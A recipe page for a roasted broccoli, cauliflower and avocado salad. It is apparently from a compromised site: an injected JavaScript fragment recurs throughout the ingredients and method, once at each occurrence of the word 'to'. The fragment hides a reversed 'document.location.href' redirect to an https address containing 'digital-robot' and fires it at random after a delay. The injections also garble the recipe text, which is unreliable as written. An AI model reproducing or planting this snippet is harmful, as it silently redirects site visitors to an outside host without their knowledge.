Broccoli, Cauliflower & Avocado Salad

Broccoli, Cauliflower & Avocado Salad

Prep Time: 10 Minutes
Cook: 30 Minutes
Serves: 2-3 pax


Ingredients:
1 packet Modern Mum RTC Fresh Cut Broccoli & Cauliflower
½ tbsp Olive Oil (for dressing), additional for roasting
1 ripe Avocado, diced
1 tbsp Lemon Juice
Salt & Pepper tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to taste
2 handfuls of chopped fresh herbs of your choice: eg. Cilantro, Chervil, Chives, Flat Leaf Parsley
Garnish: Pumpkin Seeds


Method:

  1. Preheat Oven tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to 200°C (400°F)
  2. Spread out Cut Broccoli & Cauliflower on baking sheet, drizzle generously with Olive Oil, sprinkle with Salt and Pepper. Toss well tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to coat. Insert intobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to preheated oven tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to roast for 30 minutes.
  3. Prepare Dressing: Mix both choice of herbs, Olive Oil, Lemon Juice and a pinch of Salt.
  4. Combine tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toasted Broccoli & Cauliflower, diced Avocado & dressing. Sprinkle with pepper and pumpkin seeds before serving.

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